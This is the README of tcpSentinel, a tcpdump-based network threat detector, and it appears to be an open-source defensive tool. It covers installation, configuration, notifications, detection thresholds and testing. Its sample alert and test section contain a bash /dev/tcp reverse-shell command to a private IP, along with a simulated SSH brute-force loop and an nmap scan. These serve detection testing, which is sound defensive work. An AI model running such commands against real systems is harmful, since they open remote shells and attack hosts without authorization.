tcpSentinel

Real-time network threat detection powered by tcpdump.

tcpSentinel monitors live network traffic using tcpdump as its capture engine and applies signature-based + heuristic analysis to detect:

• Reverse shells — bash, netcat, socat, openssl, Python/Perl/Ruby/PHP/Lua, /dev/tcp, base64-encoded payloads, bidirectional interactive shell heuristics
• Brute-force attacks — SSH, FTP, RDP, VNC, database ports
• Port scanning — SYN sweeps from single sources
• C2 beaconing — periodic outbound connections with jitter analysis
• Data exfiltration — sudden large outbound transfers
• High-entropy payloads — encrypted/obfuscated C2 on non-standard ports
• Custom patterns — add your own regex signatures

---

Architecture

┌─────────────┐     stdout     ┌──────────────┐     packets      ┌──────────────────┐
│   tcpdump   │ ─────────────> │ PacketParser │ ──────────────>  │ DetectionEngine  │
│  (subprocess│   line-by-line │ (stateful    │   PacketInfo     │ • Signatures     │
│   as root)  │                │  assembler)  │                  │ • Heuristics     │
└─────────────┘                └──────────────┘                  │ • State tracking │
                                                                 └────────┬─────────┘
                                                                          │ Alert[]
                                                                 ┌────────▼───────────┐
                                                                 │ AlertDispatcher    │
                                                                 │ • Console (color)  │
                                                                 │ • File log (JSON)  │
                                                                 │ • Desktop notify   │
                                                                 │ • Telegram / Email │
                                                                 └────────────────────┘

Requirements

Requirement	Version
Python	3.11+
tcpdump	any modern version
OS	Linux (tested on Ubuntu 22.04+, Debian 12, RHEL 9)
Privileges	root (for packet capture)

Python Dependencies

pyyaml>=6.0
colorama>=0.4.6

Installation

Quick Install

git clone https://github.com/Un4G173N/tcpsentinel.git
cd tcpsentinel
sudo bash install.sh

Manual Install

# 1. Install system dependencies
sudo apt update && sudo apt install -y tcpdump python3-pip

# 2. Install Python packages
pip3 install pyyaml colorama

# 3. Create directories
sudo mkdir -p /etc/tcpsentinel /var/log/tcpsentinel /opt/tcpsentinel

# 4. Copy files
sudo cp tcpsentinel.py /opt/tcpsentinel/
sudo cp config.yaml /etc/tcpsentinel/
sudo chmod +x /opt/tcpsentinel/tcpsentinel.py
sudo ln -sf /opt/tcpsentinel/tcpsentinel.py /usr/local/bin/tcpsentinel

# 5. (Optional) Install systemd service
sudo cp tcpsentinel.service /etc/systemd/system/
sudo systemctl daemon-reload

Usage

CLI Commands

# Start monitoring (foreground, Ctrl+C to stop)
sudo tcpsentinel start

# Start with custom config
sudo tcpsentinel start -c /path/to/config.yaml

# Check if running
tcpsentinel status

# View recent alerts
tcpsentinel tail
tcpsentinel tail -n 50

# Stop the daemon
sudo tcpsentinel stop

# Reload configuration (hot-reload, no restart needed)
sudo tcpsentinel reload

Run as systemd Service

# Enable and start
sudo systemctl enable --now tcpsentinel

# Check status
sudo systemctl status tcpsentinel

# View logs
sudo journalctl -u tcpsentinel -f

# Reload config without restart
sudo systemctl reload tcpsentinel

# Stop
sudo systemctl stop tcpsentinel

Configuration

Edit /etc/tcpsentinel/config.yaml. The file is fully commented. Key sections:

Capture Settings

interface: "any"       # Or "eth0", "ens33", etc.
snaplen: 0             # 0 = capture full packets
bpf_filter: "tcp"      # Optional BPF filter to reduce noise

Whitelists

whitelist_ips:
  - "127.0.0.1"
  - "10.0.0.1"           # Your gateway

ignore_dst_ports:
  - 53                    # Ignore DNS
  - 123                   # Ignore NTP

Adding Custom Detection Patterns

Add regex patterns to the custom_signatures list:

custom_signatures:
  - 'my_backdoor_tool'
  - 'suspicious\.domain\.com'
  - 'X-Custom-Header:\s*evil'
  - '/api/v1/exfil'

Patterns are:

• Matched case-insensitively
• Applied to both raw ASCII payload and hex-decoded payload
• Also applied to Base64-decoded content found in payloads

Tuning Detection Thresholds

# Make brute-force detection more sensitive
bruteforce_threshold: 5
bruteforce_window_seconds: 30

# Make port scan detection less noisy
portscan_threshold: 25
portscan_window_seconds: 5

# Adjust interactive shell heuristic
interactive_shell_min_packets: 12   # Require more packets
interactive_shell_window_seconds: 10

Notifications

Desktop (notify-send)

Enabled by default. Requires libnotify-bin:

sudo apt install libnotify-bin

Telegram Bot

1. Create a bot via @BotFather
2. Get your chat ID via @userinfobot
3. Update config:

notifications:
  telegram:
    enabled: true
    bot_token: "123456:ABC-DEF..."
    chat_id: "987654321"

Email

notifications:
  email:
    enabled: true
    smtp_server: "smtp.gmail.com"
    smtp_port: 587
    username: "alerts@gmail.com"
    password: "app-specific-password"
    recipient: "admin@company.com"

Alert Log Format

Alerts are logged as JSON to /var/log/tcpsentinel/alerts.log:

{
  "timestamp": "2026-04-09T14:23:01",
  "category": "Reverse Shell",
  "severity": "CRITICAL",
  "src": "10.0.0.50:48832",
  "dst": "192.168.1.100:4444",
  "protocol": "TCP",
  "matched_pattern": "/bin/(?:ba)?sh\\s+-i",
  "payload_snippet": "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1",
  "details": "Matched at offset 12; decoded_b64=no"
}

Performance Tuning

For High-Traffic Networks

1. Use BPF filters to reduce captured traffic:

   bpf_filter: "tcp and not port 443 and not port 80"

2. Increase cooldown to suppress duplicate alerts:

   alert_cooldown_seconds: 60

3. Raise thresholds for noisy detectors:

   portscan_threshold: 30
   entropy_threshold: 5.0

4. Ignore known-good destinations:

   ignore_dst_ips:
     - "8.8.8.8"
     - "1.1.1.1"
   ignore_dst_ports:
     - 53
     - 123
     - 443

5. Limit snaplen if you only need headers + first N bytes:

   snaplen: 256

Resource Usage

• CPU: Minimal — regex matching on packet payloads is fast; state tracking uses dictionaries with sliding-window pruning
• Memory: State dictionaries are bounded (beacon tracker keeps last 20 entries per flow; windows are pruned on every packet)
• Disk: Alert log grows only when threats are detected; use logrotate for long-running deployments

Logrotate Configuration

Create /etc/logrotate.d/tcpsentinel:

/var/log/tcpsentinel/alerts.log {
    daily
    rotate 30
    compress
    delaycompress
    missingok
    notifempty
    create 0640 root root
    postrotate
        systemctl reload tcpsentinel 2>/dev/null || true
    endscript
}

How Detection Works

Detector	Method	Trigger
Reverse Shell (Signature)	Regex on payload ASCII + hex-decoded + Base64-decoded	Any signature match
Reverse Shell (Heuristic)	Bidirectional small-packet counting on high ports	≥8 small packets in 15s window
Brute-Force	SYN counting per source IP to auth ports (22, 21, 3389...)	≥10 SYNs in 60s
Port Scan	Unique destination port counting per source	≥15 ports in 10s
C2 Beaconing	Connection interval regularity analysis with jitter tolerance	≥5 periodic connections, 70%+ conforming
Data Exfiltration	Byte volume tracking per (src, dst) pair	≥10MB in 60s
High Entropy	Shannon entropy of payload bytes on non-TLS ports	≥4.5 bits/byte

Testing

Simulate a Reverse Shell (safe test)

On the monitored host, generate traffic that matches a signature:

# This will be caught by the /dev/tcp signature:
echo "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" | nc -l -p 9999 &
nc localhost 9999

Simulate a Port Scan

nmap -sS -p 1-100 <target_ip>

Simulate Brute-Force

for i in $(seq 1 20); do
    ssh -o ConnectTimeout=1 user@target 2>/dev/null &
done

Extending tcpSentinel

The codebase is modular and designed for extension:

• Add a new detector: Create a _check_* method in DetectionEngine, call it from inspect()
• Add a new notification channel: Create a notify_* function, call it from AlertDispatcher.dispatch()
• Add process correlation: Use /proc/net/tcp to map connections to PIDs for richer alerts
• Add GeoIP lookups: Integrate geoip2 to flag connections to unusual countries
• Add a web dashboard: Feed alert JSON to a Flask/FastAPI app with WebSocket streaming

AI Disclaimer

This application (tcpSentinel) was developed with the assistance of AI tools (Claude Opus 4.6 + Grok), with human review, testing, and refinement.

Disclaimer:

• The code was generated with AI assistance and has been reviewed and modified by the developer.
• While significant effort has been made to ensure correctness and security, users should use this tool at their own risk.
• Always test in your environment before deploying in production.
• The developer does not guarantee that all threat detections are 100% accurate (false positives/negatives may occur).

License

MIT